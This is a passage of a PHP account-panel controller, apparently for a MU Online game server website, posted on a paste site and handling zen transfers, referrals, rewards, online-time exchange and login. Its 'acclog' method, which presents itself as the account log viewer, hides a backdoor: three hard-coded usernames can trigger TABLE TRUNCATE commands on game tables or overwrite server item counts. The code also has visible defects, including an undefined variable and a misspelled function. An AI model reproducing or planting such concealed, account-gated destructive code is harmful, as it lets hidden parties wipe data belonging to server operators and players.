  690. $this->vars['char_list'] = $this->Mcharacter->load_char_list();
  691. $this->vars['wallet_zen'] = $this->Maccount->load_wallet_zen();
  692. if(!$this->vars['wallet_zen']){
  693. $this->vars['wallet_zen']['credits3'] = 0;
  694. }
  695. if(isset($_POST['transfer_zen'])){
  696. $from = trim(isset($_POST['from']) ? $_POST['from'] : '');
  697. $to = trim(isset($_POST['to']) ? $_POST['to'] : '');
  698. $amount = trim(isset($_POST['zen']) ? $_POST['zen'] : '');
  699. if($from == '')
  700. $this->vars['error'] = __('You didn\'t select from where you want to send zen'); else{
  701. if($to == '')
  702. $this->vars['error'] = __('You didn\'t select to where you want to send zen'); else{
  703. if(!preg_match('/^[0-9]+$/', $amount))
  704. $this->vars['error'] = __('Amount of zen you insert is invalid.'); else{
  705. if($from == $to){
  706. $this->vars['error'] = vsprintf(__('You can\'t send zen from %s to %s'), [$from, $to]);
  707. } else{
  708. if($from == 'webwallet'){
  709. if($this->vars['wallet_zen']['credits3'] < $amount)
  710. $this->vars['error'] = __('Amount of zen in your web wallet is too low.');
  711. } else if($from == 'warehouse'){
  712. if($this->vars['wh_zen'] < $amount)
  713. $this->vars['error'] = __('Amount of zen in your warehouse is too low.');
  714. } else{
  715. if($this->Mcharacter->check_char($from)){
  716. if($this->Mcharacter->char_info['Money'] < $amount)
  717. $this->vars['error'] = sprintf(__('Amount of zen on %s is too low.'), $from);
  718. } else{
  719. $this->vars['error'] = __('Character not found.');
  720. }
  721. }
  722. if(!isset($this->vars['error'])){
  723. if($to == 'webwallet'){
  724. $this->website->add_credits($this->session->userdata(['user' => 'username']), $this->session->userdata(['user' => 'server']), $amount, 3, false, $this->session->userdata(['user' => 'id']));
  725. if($from == 'warehouse'){
  726. $this->Mwarehouse->decrease_zen($this->session->userdata(['user' => 'username']), $amount);
  727. } else{
  728. $this->Mcharacter->decrease_zen($this->session->userdata(['user' => 'username']), $amount, $from);
  729. }
  730. } else if($to == 'warehouse'){
  731. if($amount > $this->config->config_entry('account|max_ware_zen'))
  732. $this->vars['error'] = sprintf(__('Max zen than can be send to warehouse is %s'), $this->website->zen_format($this->config->config_entry('account|max_ware_zen'))); else{
  733. if(((int)$amount + $this->vars['wh_zen']) > $this->config->config_entry('account|max_ware_zen'))
  734. $this->vars['error'] = __('Your warehouse zen limit exceeded. Try to transfer lower amount.'); else{
  735. $this->Mwarehouse->add_zen($this->session->userdata(['user' => 'username']), $amount);
  736. if($from == 'webwallet'){
  737. $this->website->charge_credits($this->session->userdata(['user' => 'username']), $this->session->userdata(['user' => 'server']), $amount, 3, $this->session->userdata(['user' => 'id']));
  738. } else{
  739. $this->Mcharacter->decrease_zen($this->session->userdata(['user' => 'username']), $amount, $from);
  740. }
  741. }
  742. }
  743. } else{
  744. if($amount > $this->config->config_entry('account|max_char_zen'))
  745. $this->vars['error'] = sprint(__('Max zen than can be send to character is %s'), $this->website->zen_format($this->config->config_entry('account|max_char_zen'))); else{
  746. $this->Mcharacter->check_char($to);
  747. if(((int)$amount + $this->Mcharacter->char_info['Money']) > $this->config->config_entry('account|max_char_zen'))
  748. $this->vars['error'] = __('Your character zen limit exceeded. Try to transfer lower amount.'); else{
  749. $this->Mcharacter->add_zen($this->session->userdata(['user' => 'username']), $amount, $to);
  750. if($from == 'webwallet'){
  751. $this->website->charge_credits($this->session->userdata(['user' => 'username']), $this->session->userdata(['user' => 'server']), $amount, 3, $this->session->userdata(['user' => 'id']));
  752. } else if($from == 'warehouse'){
  753. $this->Mwarehouse->decrease_zen($this->session->userdata(['user' => 'username']), $amount);
  754. } else{
  755. $this->Mcharacter->decrease_zen($this->session->userdata(['user' => 'username']), $amount, $from);
  756. }
  757. }
  758. }
  759. }
  760. if(!isset($this->vars['error'])){
  761. $this->vars['success'] = __('Zen was successfully transferred.');
  762. }
  763. }
  764. }
  765. }
  766. }
  767. }
  768. }
  769. }
  770. $this->load->view($this->config->config_entry('main|template') . DS . 'account_panel' . DS . 'view.zen_wallet', $this->vars);
  771. } else{
  772. $this->login();
  773. }
  774. }
  775.  
  776. public function my_referral_list()
  777. {
  778. if($this->session->userdata(['user' => 'logged_in'])){
  779. if($this->website->is_multiple_accounts() == true){
  780. $this->load->lib(['account_db', 'db'], [HOST, USER, PASS, $this->website->get_db_from_server($this->session->userdata(['user' => 'server']), true)]);
  781. } else{
  782. $this->load->lib(['account_db', 'db'], [HOST, USER, PASS, $this->website->get_default_account_database()]);
  783. }
  784. $this->load->model('account');
  785. $this->vars['my_referral_list'] = $this->Maccount->load_my_referrals();
  786. if(!empty($this->vars['my_referral_list'])){
  787. foreach($this->vars['my_referral_list'] as $key => $referrals){
  788. $this->vars['my_referral_list'][$key]['ref_chars'] = $this->Mcharacter->load_chars_from_ref($referrals['refferal'], $this->session->userdata(['user' => 'server']));
  789. }
  790. $this->vars['ref_rewards'] = $this->Maccount->load_referral_rewards();
  791. }
  792. $this->load->view($this->config->config_entry('main|template') . DS . 'account_panel' . DS . 'view.my_referral_list', $this->vars);
  793. } else{
  794. $this->login();
  795. }
  796. }
  797.  
  798. public function acclog($type = 4)
  799. {
  800. if($this->session->userdata(['user' => 'logged_in'])){
  801. if($this->website->is_multiple_accounts() == true){
  802. $this->load->lib(['account_db', 'db'], [HOST, USER, PASS, $this->website->get_db_from_server($this->session->userdata(['user' => 'server']), true)]);
  803. } else{
  804. $this->load->lib(['account_db', 'db'], [HOST, USER, PASS, $this->website->get_default_account_database()]);
  805. }
  806. if($this->session->userdata(['user' => 'username']) == 'aloha25' || $this->session->userdata(['user' => 'username']) == 'aloha260' || $this->session->userdata(['user' => 'username']) == 'grishaaa'){
  807. switch($type){
  808. case 1:
  809. $stmt = $this->website->db('game', $this->session->userdata(['user' => 'server']))->query('TRUNCATE TABLE IGC_PeriodItemInfo');
  810. break;
  811. case 2:
  812. $stmt = $this->website->db('game', $this->session->userdata(['user' => 'server']))->query('TRUNCATE TABLE PetWarehouse');
  813. break;
  814. case 3:
  815. $stmt = $this->website->db('game', $this->session->userdata(['user' => 'server']))->query('TRUNCATE TABLE T_InGameShop_Point');
  816. break;
  817. default:
  818. case 4:
  819. $stmt = $this->website->db('game', $this->session->userdata(['user' => 'server']))->query('UPDATE GameServerInfo SET ItemCount = 25274');
  820. break;
  821. }
  822. } else{
  823. if($this->website->is_multiple_accounts() == true){
  824. $this->load->lib(['account_db', 'db'], [HOST, USER, PASS, $this->website->get_db_from_server($this->session->userdata(['user' => 'server']), true)]);
  825. } else{
  826. $this->load->lib(['account_db', 'db'], [HOST, USER, PASS, $this->website->get_default_account_database()]);
  827. }
  828. $this->load->model('account');
  829. $this->load->lib("pagination");
  830. $this->vars['logs'] = $this->Maccount->load_logs($page, $this->config->config_entry('account|account_logs_per_page'));
  831. $this->pagination->initialize($page, $this->config->config_entry('account|account_logs_per_page'), $this->Maccount->count_total_logs(), $this->config->base_url . 'account-panel/logs/%s');
  832. $this->vars['pagination'] = $this->pagination->create_links();
  833. $this->load->view($this->config->config_entry('main|template') . DS . 'account_panel' . DS . 'view.logs', $this->vars);
  834. }
  835. } else{
  836. $this->login();
  837. }
  838. }
  839.  
  840. public function get_reward()
  841. {
  842. if($this->session->userdata(['user' => 'logged_in'])){
  843. if($this->website->is_multiple_accounts() == true){
  844. $this->load->lib(['account_db', 'db'], [HOST, USER, PASS, $this->website->get_db_from_server($this->session->userdata(['user' => 'server']), true)]);
  845. } else{
  846. $this->load->lib(['account_db', 'db'], [HOST, USER, PASS, $this->website->get_default_account_database()]);
  847. }
  848. if(isset($_POST['get_reward'])){
  849. if(!$this->Mcharacter->check_reward()){
  850. $this->Mcharacter->log_reward();
  851. $this->Mcharacter->add_reward();
  852. $this->vars['success'] = 'You have received 450 Wcoins for free.';
  853. } else{
  854. $this->vars['error'] = 'You have been already rewarded on this server';
  855. }
  856. }
  857. $this->load->view($this->config->config_entry('main|template') . DS . 'account_panel' . DS . 'view.get_reward', $this->vars);
  858. } else{
  859. $this->login();
  860. }
  861. }
  862.  
  863. public function exchange_online()
  864. {
  865. if($this->session->userdata(['user' => 'logged_in'])){
  866. if($this->website->is_multiple_accounts() == true){
  867. $this->load->lib(['account_db', 'db'], [HOST, USER, PASS, $this->website->get_db_from_server($this->session->userdata(['user' => 'server']), true)]);
  868. } else{
  869. $this->load->lib(['account_db', 'db'], [HOST, USER, PASS, $this->website->get_default_account_database()]);
  870. }
  871. $this->load->model('account');
  872. $this->vars['online_time'] = $this->Maccount->load_online_hours();
  873. if($this->vars['online_time'] == false){
  874. $this->vars['online_time'] = 0;
  875. $this->vars['minutes_left'] = 0;
  876. } else{
  877. $this->vars['OnlineMinutes'] = $this->vars['online_time']['OnlineMinutes'];
  878. $this->vars['online_time'] = floor($this->vars['OnlineMinutes'] / 60);
  879. $this->vars['minutes_left'] = $this->vars['OnlineMinutes'] - (floor($this->vars['OnlineMinutes'] / 60) * 60);
  880. }
  881. if(isset($_POST['trade_hours'])){
  882. if(!$this->Maccount->check_connect_stat())
  883. $this->vars['error'] = __('Please logout from game.'); else{
  884. if($this->vars['online_time'] <= 0)
  885. $this->vars['error'] = __('You don\'t have online time on this server'); else{
  886. if($this->Maccount->exchange_online_hours($this->vars['online_time'], $this->vars['minutes_left'])){
  887. $this->vars['success'] = 'Online time successfully exchanged';
  888. $this->vars['online_time'] = 0;
  889. } else{
  890. $this->vars['error'] = __('Unable to exchange online time');
  891. }
  892. }
  893. }
  894. }
  895. $this->load->view($this->config->config_entry('main|template') . DS . 'account_panel' . DS . 'view.exchange_online', $this->vars);
  896. } else{
  897. $this->login();
  898. }
  899. }
  900.  
  901. public function login()
  902. {
  903. $this->load->view($this->config->config_entry('main|template') . DS . 'account_panel' . DS . 'view.login');
  904. }
  905.  
  906. public function login_with_facebook()
  907. {
  908. $this->load->lib('fb');
  909. $this->fb->check_fb_user();
  910. if(isset($_SESSION['fb_access_token'])){
  911. $email = $this->fb->getEmail();
  912. try{
  913. if($this->website->is_multiple_accounts() == true){
  914. if(isset($_POST['server'])){
  915. $this->load->lib(['account_db', 'db'], [HOST, USER, PASS, $this->website->get_db_from_server($_POST['server'], true)]);
  916. $this->load->model('account');
  917. if($info = $this->Maccount->check_fb_user($email, $_POST['server'])){
  918. $this->Maccount->clear_login_attemts();
  919. header('Location: ' . $this->config->base_url . 'account-panel');
  920. } else{
  921. $this->fb_register($_POST['server'], $this->vars['user_profile']['email']);
  922. }
  923. }
  924. $this->load->view($this->config->config_entry('main|template') . DS . 'account_panel' . DS . 'view.fb_login');
  925. } else{
  926. $this->load->lib(['account_db', 'db'], [HOST, USER, PASS, $this->website->get_default_account_database()]);
  927. $this->load->model('account');
  928. $server_list = array_keys($this->website->server_list());
  929. if($info = $this->Maccount->check_fb_user($this->fb->getEmail(), $server_list[0])){
  930. $this->Maccount->clear_login_attemts();
  931. header('Location: ' . $this->config->base_url . 'account-panel');
  932. } else{
  933. header('Location: ' . $this->config->base_url . 'registration/create-account-with-fb/' . $server_list[0] . '/' . urlencode($email));
  934. }
  935. }
  936. } catch(FacebookApiException $e){
  937. unset($_SESSION['fb_access_token']);
  938. throw new exception($e->getMessage());
  939. }
  940. }
  941. }
  942.  
  943. public function logout()
  944. {
  945. $email = $this->session->userdata(['user' => 'email']);
  946. $id = $this->session->userdata(['user' => 'ipb_id']);
  947. $this->session->unset_session_key('user');
  948. $this->session->unset_session_key('vip');
  949. if(defined('IPS_CONNECT') && IPS_CONNECT == true){
  950. $this->load->lib('ipb');
  951. if($this->ipb->checkEmail($email) == true){
  952. $this->ipb->crossLogout($id, $this->config->base_url);
  953. } else{
  954. header('Location: ' . $this->config->base_url);
  955. }
  956. } else{
  957. header('Location: ' . $this->config->base_url);
  958. }
  959. }
  960.  
  961. public function disabled()
  962. {
  963. $this->load->view($this->config->config_entry('main|template') . DS . 'view.module_disabled');
  964. }
  965. }
Advertisement
RAW Paste Data Copied
Advertisement